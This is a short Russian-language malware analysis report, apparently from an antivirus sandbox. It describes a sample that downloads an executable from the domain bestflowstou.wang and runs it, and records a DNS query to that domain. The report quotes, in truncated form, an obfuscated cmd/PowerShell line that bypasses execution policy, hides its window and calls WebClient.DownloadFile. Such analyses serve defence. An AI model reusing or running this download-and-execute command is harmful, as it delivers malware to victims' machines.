Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bestflowstou.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOwE^RsHeLL.exe ^-^eX^E^c^U^T^i^On^pOl^ICY bYPA^S^S^ -NO^p^ROf^ILe -WI^nd^O^w^sT^YLE ^h^I^Dd^En^ (^nE^w^-^oBje^CT s^yste^M.^NEt.^webCLIEnT).dow^nlOa^DF^ile(^'http://bestflow...
Сетевая активность
UDP
- DNS ASK be####owstou.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOwE^RsHeLL.exe ^-^eX^E^c^U^T^i^On^pOl^ICY bYPA^S^S^ -NO^p^ROf^ILe -WI^nd^O^w^sT^YLE ^h^I^Dd^En^ (^nE^w^-^oBje^CT s^yste^M.^NEt.^webCLIEnT).dow^nlOa^DF^ile(^'http://bestflow...' (со скрытым окном)
